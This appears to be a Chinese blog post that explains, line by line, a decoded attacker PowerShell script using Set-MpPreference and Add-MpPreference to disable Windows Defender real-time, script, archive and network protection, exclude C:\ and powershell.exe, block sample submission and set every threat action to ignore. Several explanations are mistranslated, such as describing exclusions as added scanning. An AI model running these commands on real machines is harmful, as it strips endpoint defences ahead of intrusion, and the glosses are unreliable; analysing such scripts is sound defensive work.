从攻击者角度看SetMpreference小结

0X01背景

在分析攻击者行为时看到一串经过base64加密的代码,还原以后是如下的Set-Mpreference代码语句;

比对微软的官方文档对语句逐一翻译,进行小结。

0X02 详述 

Set Mpreference主要用于配置 Windows Defender 扫描和更新的首选项

 

官网给出的定义是:The Set-MpPreference cmdlet configures preferences for Windows Defender scans and updates. You can modify exclusion file name extensions, paths, or processes, and specify the default action for high, moderate, and low threat levels.

 

Set-MpPreference -DisableRealtimeMonitoring 1; 

取消实时保护  value值是布尔型

Add-MpPreference -ExclusionPath c:\;

 增加C盘下的路径进行实时扫描

Add-MpPreference-ExclusionProcess c:\windows\system32\WindowsPowerShell\v10\powershellexe;

增加这个路径下进程的扫描

Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;

如果false或是未定值,表示使用实时保护

Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;

不使用网络行为保护

Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;

不首先看到块

Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;

不扫描所有下载的文件和附件

Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;

表示禁用隐私模式,其中隐私模式可防止用户以外的其他不是主机的用户看到历史记录。

如果指定$ false的值或未指定值,则启用隐私模式。

Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;

即使没有存在反病毒引擎,也不启动定义更新。

如果指定$ true或未指定值的值,则Windows Defender不会启动启动时的定义更新;如果指定$ false值,并且没有存在antimalware引擎,则Windows Defender会启动启动时的定义更新。

Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;

表示不扫描存档文件,例如.zip和.cab文件,这些文件可能包括恶意或不需要的软件

Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;

表示不通过配置网络来保护已知漏洞利用,如果指定$ false或未指定值,则启用网络保护。

Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;

表示在恶意软件扫描的时候禁用该恶意扫描脚本。如果指定$ false的值或未指定值,则Windows Defender不会扫描脚本。

Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;

表示要求Windows Defender不对本地样本采集发送。

如果MapSreporting参数没有禁用值,则Windows Defender会提示用户同意发送样本。

具体参数如下:

0: Always prompt(一直提示)

1: Send safe samples automatically

2: Never send

3: Send all samples automatically

 

Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;

不向微软发送任何该检测软件的信息。

Microsoft Active Protection Service是一个在线社区,该语句设置Microsoft Active Protection Service中的成员资格类型,是关于如何应对潜在威胁的选项,有助于防止新恶意软件的传播。其中具体参数选项值如下:

0: 默认值,不向微软发送任何信息

1: 一般会员,发送一些关于检测软件的基本信息,包括它来自于哪里以及使用行为及状态

2: 高级会员,除了基本信息外,还向Microsoft发送更多信息,了解恶意软件,间谍软件和可能不需要的软件,包括软件的位置,文件名,软件如何运行方式,以及它如何影响计算机。

Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;

指定用于高级威胁的自动修复操作选项,包括隔离、移除、忽略

Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;

指定用于中级威胁的自动修复操作选项,包括隔离、移除、忽略

Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;

指定用于低级威胁的自动修复操作选项,包括隔离、移除、忽略

Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore

指定用于严重级别的威胁的自动修复操作选项,包括隔离、移除、忽略

 

原文地址:https://www.cnblogs.com/blazarstar/p/15559906.html